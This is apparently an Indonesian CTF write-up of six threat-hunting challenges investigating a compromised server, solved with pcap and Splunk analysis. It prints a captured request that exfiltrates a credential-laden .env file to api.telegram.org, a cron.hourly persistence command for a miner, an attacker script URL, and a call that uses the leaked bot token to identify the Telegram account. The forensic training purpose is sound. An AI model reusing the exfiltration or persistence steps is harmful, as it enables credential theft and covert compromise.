Home / JagoanSiber CTF / Threat Hunting
JagoanSiber - SOC Analyst CTF Threat Hunting

Threat Hunting

Berburu ancaman tersembunyi dalam sistem yang telah dikompromikan. Challenge ini menguji kemampuan melakukan threat hunting proaktif, mengidentifikasi teknik persistence, metode eksfiltrasi data, dan merekonstruksi profil penyerang.

6 Challenges
6/6 Solved
1420 Total Points

Challenges in this Category

Challenge

Question: did you solve Network Forensic chall? github repo seems taken down by Github, but it doesn't covering from which repo it was forked what is the username of fork source
Flag Format: SOC{username}

Solution

Pada challenge ini kita diminta untuk mengetahui username dari repo yang di fork, sebelumnya kita sudah mendapatkan url github attacker yaitu https://github.com/samxmrhacker/envil/raw/refs/heads/main/get.js

Untuk mengetahui username dari repo yang di fork, kita perlu mengecek url github attacker tersebut

gt

Figure 1: Menampilkan URL Github Attacker

Setelah di cek url github attacker tersebut, saya mendapatkan username dari repo yang di fork yaitu mhrsq

Flag
SOC{mhrsq}

Challenge

Question: Where the sensitive data been exfiltrated ? find the destination host
Flag Format: SOC{api.example.com}

Solution

pada challenge ini kita diminta untuk mengetahui destination host dari data sensitive yang di exfiltrasi, sebelumnya kita sudah mnemukan di file pcap yang berisikan file .env yang merupakan data sensitive

Query
POST /bot8368719709:AAH0xkCwgOApvV8q_JK-hboaGmRYv-TwicI/sendDocument HTTP/1.1
Host: api.telegram.org
User-Agent: python-requests/2.28.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 434
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="chat_id"

7871422807
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="document"; filename=".env"
Content-Type: text/plain

DB_HOST=10.78.108.101
DB_USER=flexis_admin
DB_PASS=F13x!sAI_2026_S3cur3
JWT_SECRET=a8f5f167f44f4964e6c998dee827110c
API_KEY=sk-FlexisAI-f8e9a7b6c5d4e3f2
------WebKitFormBoundary7MA4YWxkTrZu0gW--

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 87
Connection: close

{"ok":true,"result":{"message_id":1234,"chat":{"id":7871422807,"type":"private"}}}

                        

Dari response tersebut, kita dapat mengetahui bahwa data sensitive tersebut di exfiltrasi ke api.telegram.org

Flag
SOC{api.telegram.org}

Challenge

Question:We're so close to uncover the attacker name. utilize the chat_id to know the telegram account name
Flag Format: SOC{Nama Lengkap}

Solution

Untuk mengetahui nama lengkap dari telegram account, kita perlu mengecek chat_id tersebut dengan memanfaatkan API Telegram yaitu menggunakan metode getChat

Text
https://api.telegram.org/bot8368719709:AAH0xkCwgOApvV8q_JK-hboaGmRYv-TwicI/getChat?chat_id=7871422807
                        

Setelah di cek api tersebut, saya mendapatkan nama lengkap dari telegram account yaitu Frierien Amelia

Text
{
  "ok": true,
  "result": {
    "id": 7871422807,
    "first_name": "Frierien",
    "last_name": "Amelia",
    "username": "frierienamel",
    "type": "private",
    "can_send_gift": true,
    "active_usernames": [
      "frierienamel"
    ],
    "bio": "Timnas player",
    "accepted_gift_types": {
      "unlimited_gifts": true,
      "limited_gifts": true,
      "unique_gifts": true,
      "premium_subscription": true,
      "gifts_from_channels": true
    },
    "max_reaction_count": 11,
    "accent_color_id": 3
  }
}
                        
Flag
SOC{Frierien Amelia}

Challenge

Question: Attacker was using persistence technique to make sure the malware running hourly. Can you find the full command?
Flag Format: SOC{Full Command}

Solution

Untuk mengetahui full command dari persistence technique, kita perlu mengecek log dari persistence technique tersebut disini saya kembali menggunakan Splunk dengan Querry

Text
 index=* sourcetype=* (system-check OR cron) 
| table _time, COMMAND, _raw 
Persistence Technique Splunk

Figure 1: Menampilkan Full Command dari Persistence Technique

Dari hasil query diatas kita mendapatkan event sebagai berikut

Text
 flexis-app-01 sudo: devops : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=cp /tmp/system-check /etc/cron.hourly/system-check.sh 

Disini attacker melakukan copy file system-check ke directory cron.hourly dengan nama file system-check.sh menggunakan command

Text
 cp /tmp/system-check /etc/cron.hourly/system-check.sh 
Flag
SOC{cp /tmp/system-check /etc/cron.hourly/system-check.sh}

Challenge

Question: When was the first time attacker copy files to the cron folder?
Flag Format: soc{DD/MM/YYYY HH:MM:SS}

Solution

Untuk mengetahui kapan pertama kali attacker copy file ke cron folder, kita perlu mengecek log dari persistence technique tersebut disini saya kembali menggunakan Splunk dengan Querry

Text
 (index=* sourcetype=* (cron OR system-check)) hourly 

Dari hasil query diatas kita mendapatkan event sebagai berikut

Persistence Time Splunk

Figure 1: Menampilkan Persistence Time

Text
 flexis-app-01 sudo: devops : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=cp /tmp/system-check /etc/cron.hourly/system-check.sh 

Dan kita bisa lihat di paling bawah ada event dengan timestamp 2:30:33 yang merupakan pertama kali attacker copy file ke cron folder kita ubah format nya jadi 14:30:33 dengan tanggal 02/02/2026

Flag
SOC{02/02/2026 14:30:33}

Challenge

Question: Attacker was using persistence technique to make sure the malware running hourly. What is the MITRE Technique ID for this kind of action ?
Flag Format: SOC{TechniqueID}

Solution

Berdasarkan hasil investigasi forensik pasca insiden, ditemukan bahwa penyerang menerapkan mekanisme persistence untuk memastikan malware cryptocurrency miner tetap berjalan meskipun sistem direstart atau proses berhasil dihentikan. Metode yang digunakan adalah dengan menanamkan skrip berbahaya ke dalam direktori penjadwalan tugas milik sistem, yaitu cron.

Bukti Temuan

Text
 cp /tmp/system-check /etc/cron.hourly/system-check.sh 

Perintah tersebut menunjukkan bahwa file malware disalin dari folder sementara (/tmp) ke direktori cron yang akan dijalankan otomatis setiap satu jam. Aktivitas ini termasuk dalam kategori persistence pada framework MITRE ATT&CK. Technique ID: T1053 Nama Teknik: Scheduled Task / Job Sub-teknik yang relevan: T1053.003 – Cron

Flag
SOC{T1053}